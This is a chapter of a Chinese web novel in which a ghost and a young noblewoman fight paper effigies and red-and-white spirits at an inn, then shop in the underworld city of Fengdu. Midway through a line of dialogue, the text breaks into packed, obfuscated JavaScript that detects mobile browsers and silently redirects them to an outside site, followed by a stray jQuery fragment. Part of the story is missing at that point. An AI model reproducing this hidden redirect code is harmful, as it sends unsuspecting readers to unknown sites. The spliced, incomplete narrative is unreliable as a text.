14.红白双煞

作品:《您的活了么已接单!

    一听有仙人到访,坐这儿的一仙一魂齐刷刷转头看。


    只见店小二弯着腰,堆着笑迎进来个道士。


    这道士身上破布烂包,半秃的头薄薄一层在头顶挽出个微小发髻,双眼跟竹帘划拉了似得细小狭长,鼻子旁边有个大黑痦子,痦子还有根巨粗的毛。


    他抬着个头,巴不得用鼻孔看天,头顶瞧地,话也不说,将背上背的布包和旗子递给小二。


    “您这边请。”小儿接过来,“我这就去喊老板娘过来。”


    这道士还是不说话,甚至正眼都没瞧小二一眼。


    小二往中堂去,道士坐在厅里,像是对这驿站颇为熟悉。


    江月正打算和木白说话的时候,那道士突然转过头,一双鼠目直勾勾盯着木白,眨没眨眼江月看不清,太小了,只知道他抬手搓了搓自己痦子上的那根毛。


    木白吞下最后一口饭菜,轻轻擦了擦嘴,迎着目光朝道士微微行了个礼。


    “张仙人!”红柳一阵风似地刮进来,“您可算是来了!”


    道士闻声收回目光,朝红柳点点头。


    “真是不巧,店里天字一号昨日定出去了,还有一间天子房空着,得委屈您暂住了。”红柳坐在他旁边,又吩咐小二上一盘花生米一坛好酒,“先来壶好酒给您接风洗尘,辛苦走了这么远的路过来一趟。”


    道士轻哼一声,接过红柳斟的一碗酒:“你这店里,最近有什么异常?”


    异常?江月心想。


    那可多了去了,老道士你行不行啊,这都看不出来?


    “有。”红柳轻拍一下,“不然也不会昨日赶紧把您喊来。”


    道士眯缝着眼:“那除了你所言之事,还有其他的吗?”


    “其他?”老板娘显然怔了一下,“没,没了啊?张仙人所言何意?”


    道士嘿嘿笑了两声,露出一嘴黑牙:“那老朽等会儿再与您细说。”


    江月和木白没继续留在前厅,起身回房等傍晚万铃阵再起,准备一探究竟。


    可谁知这晚阵声竟没有出现。二人围在桌子边面面相觑。


    大约两三秒,江月朝木白一偏头:“走?”


    “走。”木白点头。


    刚推开门,江月就被吓出尖叫。


    驿站走廊不似平常,昏暗的环境里,所有的漆面斑驳脱落,墙皮摇摇欲坠挂在头顶,木头腐烂虫蚁结网。


    门口莫名围着数不清的纸人,有男有女有老有少,个个咧着血盆大口呲着牙笑。


    她一个箭步冲出来,差点和顶在最前面身穿布衣的纸人撞在一起。


    木白眼疾手快一把拉住江月,往身后一带,护在背后。


    他向两侧看去,走廊似乎长出不少,却几尽站满,密密麻麻。


    按理来说,这么多的人在如此狭小的空间里,总有些是看不到眼睛的,可不知怎地,木白却能清清楚楚看到每一个纸人的眼睛,或正或侧或缝隙间。


    无数双眼睛死死地盯着他们。


    “你把眼睛闭起来。”木白侧过头压低声音,“跟着我走。灵珠拿好。”


    江月照办,她背靠木门几乎整个人都贴在木白身上,身前身后皆有遮挡。


    木白这会儿顾不上什么害羞脸红,他认真环顾一圈四周,像是确认什么般扯下了一直挂在腰间的玉佩。


    玉佩是穿在一长串佛珠上的,黑檀珠子光泽四溢触感极佳,隐隐约约的棕色花纹犹如山川缩影不尽相同,每隔七颗串有一点朱砂,黑红相间,诡异张扬。


    他将佛珠缠在手上,一手挡前一手握拳,随着他双目一闭一睁,珠子在漆黑静谧的夜里,发出幽幽红光。


    纸人似乎被红光刺激到,挥动起僵硬的四肢朝木白扑过来。


    木白一拳打在最前面的布衣纸人太阳穴上,红光触及之时,纸人瞬间起火。


    更多的纸人涌上来,木白的拳头挥得越来越快,只消片刻,周身便已是一片火海。


    他咬破另一只手的手指,快速在空中划出一个半圆,将二人圈在其中,口中快速默念,火被隔绝在外。


    纸人身上的火一传十十传百,也不知这是什么三味真火,就算是烧完了纸人也不会熄灭。地上、墙上、天花板上皆烧着熊熊烈火。


    江月感觉周遭越来越热,睁开眼向四周看去,不禁发出一声惊呼。


    “那是什么?”江月余光扫到火海中站着一个身影。


    木白顺着她的目光看去,只见走廊尽头站着一位年约十七八九的少年,少年身着一袭粗布白衣站在火海里,丝毫不减眉眼间半分恣意。


    “那..那边也有!”江月盯着走廊另一端。


    大约是同样的位置,一位少女身披鲜红嫁衣立在火海间,衣服和火融为一体,仿佛遮天蔽日的烈火都是她的裙摆,丝制的盖头搭在凤冠上,霞披中间一朵大红牡丹绣在心口的位置,娇艳欲滴。


    少女上一秒还面带微笑眉眼微垂,下一秒却突然凶神恶煞,她猛地抬头看向江月,几近狰狞的嫉妒写满全脸。


    另一侧的少年也没好到哪儿去,双目通红,口露獠牙,先前的潇洒不复存在,恶狠狠瞪着木白满脸尽是怨恨憎恶。


    就在木白以为要被左右夹击准备大/干/一场的时候,一缕阳光照进来。


    许是方才扭打时不小心撞到了房门,阳光从缝隙溜出来。


    一白一红看到阳光时明显身体一颤,怔在原地。


    木白趁此空隙拉着江月转身退回房间,一甩袖子推开窗户,阳光把屋子照的透亮。


    再抬头时,已是正午时分,太阳当好。


    江月悄悄溜到门边,也不知道是不是梁静茹穿越过去给她的勇气,推开一条极细的缝隙往外瞧了瞧。


    什么都没有,干!干!净!净!


    她睁大双眼回头望向木白:“小柏树,游魂也会做梦吗?”


    木白倚在窗框上摇摇头:“不会。所以不是梦。”


    “昨天晚上到底怎么回事...”江月懵的不行,缓了一会又说,“我们今天去镇上一趟吧。”


    “去干嘛?”木白


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15488984|169377||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    将玉佩重新挂回腰间。


    “给我买把弹弓,或者给我买把弓也行。”江月一脸正色,“我不想次次都只能躲在你背后,我从小跟着爹爹兄长习射,玩闹的弹弓或是正儿八经的长弓我都会用。”


    说实在的,木白没想到江月会说这话,原以为王府家的千金从小娇生惯养,见到这班阵仗吓破胆子不足为奇,甚至在刚刚一瞬做好了打道回府的准备。


    然而听到此言,是他狭隘了。


    “好。”木白笑着点点头,“现在就去吧,还不知道今晚又会遇到什么神魔鬼怪。”


    江月拎起茶壶,给自己斟上一杯茶,仰头一饮而尽,颇有些将士出塞饮酒助威时的豪气。


    木白拿过一盏白罩烛台,掏出怀里的火折子点上,蜡烛点燃升起一缕青烟。


    “小柏树,你怎么不用刚刚那招点火?”江月拖着下巴满脸认真地问,“那个多帅啊!”


    “麻烦。”木白轻叹一口气,取下玉佩,像僧人般将珠子挂在手上倒转起来,“将我给你的白纱拿出来带上。”


    随着木白手上的动作,周遭青烟越来越浓,蜡烛火光转为青蓝,素白一片的灯罩上突然浮现城中之景,热闹非凡。


    江月只觉眼前越来越朦胧,再清晰时此间景象已和方才完全不同。


    热闹的酆都依旧鬼来鬼往,昏暗的天暮色的墙。


    木白掏出铃铛喊来轿夫,把二人送至酆都最繁华的街道。


    江月还是第一次来酆都逛街,她左瞧右瞧新鲜的很。


    “感觉也没什么不一样嘛!”江月有些兴奋,“我还以为阴曹地府每天就只断案,根本没人住没地方玩呢。”


    “酆都是地府最大的城,不少不愿投胎的鬼怪游魂,在得到阎王的准许之后都可以在酆都定居。”木白跟着面前蹦蹦跳跳的小姑娘,勾着嘴角说,“先去给你买把弓,再去看看有没有什么想吃的。”


    “他们为什么不愿投胎哦?”江月沿着主干道往前走,边走边甩出一连串疑问,“什么人才能在酆都定居?地府每个城市都可以这样吗?”


    “也不是,有的行有的不行,有具体规定。”木白跟在她身后,让她一直在自己视线范围之内,“生前做过许多好事,功德攒够了就能在酆都定居。这里不愿投胎的大多都是在等一起上路的人,当然也有那种单纯想留在这儿的。”


    等一起上路的人...江月微微皱眉,她环顾四周,瞧着家家户户亮着的青灯。没人知道他们在漫长昏暗的地底挨了多少个日子,靠着当初三言两语的约定和浓厚的思念,期待着重逢的那一天。


    “前面右拐。”木白的声音唤回她的思绪,“咱们先去换钱。”


    拐过巷子,巨大的天地银行映入眼帘,木白拿着人间的银两换了不少冥币。冥币汇率便宜,江月兜里揣着一大包钱,跟着木白进一家兵器铺。


    铺子老板是个四臂三眼男人,肌肉健硕,身上穿着铁匠围裙。四面墙上挂满了武器,钉头锤狼牙棒长剑砍刀,琳琅满目。


    “老板,有弓吗?”